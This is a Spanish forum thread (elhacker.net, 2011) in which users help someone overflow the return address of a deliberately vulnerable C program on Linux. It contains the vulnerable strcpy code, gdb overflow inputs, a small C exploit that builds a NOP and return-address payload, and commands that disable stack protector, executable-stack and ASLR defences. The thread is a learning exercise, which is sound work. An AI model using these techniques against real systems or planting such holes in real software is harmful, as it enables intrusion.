elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  ¡¡¡ No puedo sobreescribir el RET !!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ¡¡¡ No puedo sobreescribir el RET !!!  (Leído 10,949 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
¡¡¡ No puedo sobreescribir el RET !!!
« en: 7 Enero 2011, 17:58 pm »

Bueno, tengo un proyectito en las manos, pero no quiero empezarlo hasta acabar esta tonteria...
Escribo esto aqui porque el tema "No puedo sobreescribir EIP" ya no seria... "correcto"

Bueno, hice un programa muy sencillito, BoF, para explotarlo en Linux. Desactivo protecciones, y me encuentro con que
Mi code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. if (argc != 2) return 1;
  8. char buffer [4];
  9. strcpy (buffer, argv [1]);
  10. return 0;
  11. }
  12.  
  13.  
  14. int feo ()
  15. {
  16. printf ("Hola");
  17. exit (1);
  18. }
  19.  
Ahora, corro en GDB, y...
Código:
(gdb) r $(perl -e 'print "A"x8 ."B"x4;')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x8 ."B"x4;')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)
Por que no me muestra el mensajito de "Cann't access memory at position 0x41414141"?
PD: Tengo la shellcode lista y preparada... Gracias por leer y (espero) vuestras respuestas.
PD2: Aparte, la shellcode es para luego. Lo que quiero es que me salte a la funcion feo. Mas tarde metere la shellcode...
« Última modificación: 16 Enero 2011, 13:49 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #1 en: 7 Enero 2011, 20:01 pm »

Igual te esta diciendo que se fue de rango con el SIGSEGV, o sea que no puede ejecutar esa instruccion. Parece que no te esta tomando el bof.
Proba de hacer ejecutable la pila.
Código:
gcc -fno-stack-protector -z execstack tuprog.c
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #2 en: 7 Enero 2011, 20:38 pm »

Nada. Alguna idea?
Código:
Starting program: /home/juanra/Escritorio/Shell/vuln AAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #3 en: 7 Enero 2011, 21:12 pm »

que sos complicado sangrini ;D. Proba de mandarle mas bytes, a mi me funciono, debe haber otras boludeces en la pila a parte de tu buffer.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #4 en: 7 Enero 2011, 21:36 pm »

compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.

Saludos
En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #5 en: 7 Enero 2011, 23:47 pm »

Hola!

Esto que te está pasando es lo mismito que postee yo hace semanas. Es por algún parámetro que usa gcc como protección. Busca por "google" porque recuerdo haber probado varias cosas, incluso compilé con otras versiones del gcc.

¿Has probado a poner esto?

Código:

sysctl -w kernel.randomize_va_space=0
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #6 en: 8 Enero 2011, 19:25 pm »

Sep, lo tengo desactivado por cuestiones de dificultad :P aun no puedo
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #7 en: 8 Enero 2011, 19:36 pm »

compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.
Sin? Ahora mismo lo pruebo...

Código:
0x08048464 <main+0>:	lea    ecx,[esp+0x4]
0x08048468 <main+4>: and    esp,0xfffffff0
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804846e <main+10>: push   ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx
0x08048472 <main+14>: sub    esp,0x24
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24
0x080484b5 <main+81>: pop    ecx
0x080484b6 <main+82>: pop    ebp
0x080484b7 <main+83>: lea    esp,[ecx-0x4]
0x080484ba <main+86>: ret   

Y mi idea es que el EBP no va en la pila...
Le meto este exploit...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. char  nops [4];
  7. memset (nops, '\x90', 4);
  8. char ret [4] = "\xbb\x84\x04\x08";
  9.  
  10. char command [19];
  11. strcpy (command, "./vuln ");
  12. strcat (command, nops);
  13. strcat (command, ret);
  14. system (command);
  15.  
  16. return 0;
  17. }
  18.  
Se me ha ocurrido una cosa...
Le meto cuatro nops, que son para el buffer, y listo. Sin EBP. Los 4 NOPS y ret. El ret apunta a una funcion que no se llega a ejecutar con un printf y un exit. Es sencillo. Solo ejecutar ese printf. Sin embargo... Fallo de segmentación, no se cuantos nops meterle, si 4, 8, 12...
Voy a probar otra cosa y posteo...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #8 en: 9 Enero 2011, 15:27 pm »

He probado a meterle 4, 8 y ahora 12 nops, pero me da fallo de segmentacion...
Que le pasa?
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: ¿¿¿ Mensaje GDB ???
« Respuesta #9 en: 9 Enero 2011, 18:52 pm »

Tendrias que analizar tu codigo. Tenes como una especie de proteccion. Fijate

El main es llamado por __libc_start_main asi que se puede suponer que a la entrada de tu main en el top de la pila tengas la ip de retorno a una direccion x de __libc_start_main, ponele que se llame ret_libc.

ESP:     ret_libc
ESP+4: main_param

Suponiendo que ese es el estado de la pila en main+0 se puede arrancar a ver como evoluciona
Código:
0x08048464 <main+0>:	lea    ecx,[esp+0x4] ; ECX apunta a main_param
0x08048468 <main+4>: and    esp,0xfffffff0; Alineacion de la pila a 16 bytes
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]; Mete en la pila el valor ret_libc
0x0804846e <main+10>: push   ebp; Salva ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx; Y salva ecx

Si se siguió bien el hilo, el estado de la pila a esta altura seria una cosa asi:

ESP  : ECX, o puntero a main_param
+4   : EBP
+8   : ret_libc
--- Espacio de alineacion ---
+8+a     : ret_libc
+8+a+4 : main_param

Siguiendo la ejecucion
Código:
0x08048472 <main+14>:	sub    esp,0x24; "malloc" de tus variables internas
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24; "Free" de tus variables internas

Suponiendo que argv[1] puede crashear todo el frame de main, todos los pops que tenes aca estan infectados.
Código:
0x080484b5 <main+81>:	pop    ecx; ecx = 0x41414141
0x080484b6 <main+82>: pop    ebp; ebp = 0x41414141
0x080484b7 <main+83>: lea    esp,[ecx-0x4]; esp = 0x4141413d
0x080484ba <main+86>: ret   

Cuando se ejecute el ret, la direccion de retorno se va a buscar a la 0x4141413d.
Esa doble referencia que prepara la pila para el ret te obliga a conocer la direccion exacta de tu exploit. Si tenes el randomize activado es complicado, sino podes arreglartelas sabiendo que el ret se toma de una direccion que metas en la pila menos 4.
Por lo que el payload deberia contener 0x24 bytes(variables internas) + ECX + EBP + RET2EXPLOIT. Con ECX apuntando a donde esta RET2EXPLOIT + 4 y RET2EXPLOIT apuntando a tu shellcode.

Ahora bien, si alguien sabe:
- Porque guarda dos veces ret_libc en la pila si despues lo salta para volver al estado del frame anterior en main+83?
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Necesito Ayuda!!! Como puedo sobreescribir......(VB)
Programación Visual Basic
Nichas 2 3,772 Último mensaje 8 Julio 2005, 19:59 pm
por Nichas
(ayuda) copiar sin sobreescribir
.NET (C#, VB.NET, ASP)
guidosl 1 5,142 Último mensaje 12 Marzo 2009, 20:09 pm
por guidosl
Sobreescribir el archivo iexplore.exe
Hacking
iubens 5 6,214 Último mensaje 14 Marzo 2011, 15:50 pm
por TheInfinityJoker
[?]Sobreescribir la URL entera?
Desarrollo Web
VCore 2 2,659 Último mensaje 13 Junio 2011, 05:41 am
por VCore
Escribir xml sin sobreescribir
.NET (C#, VB.NET, ASP)
aspiazu 1 2,866 Último mensaje 1 Mayo 2017, 05:36 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines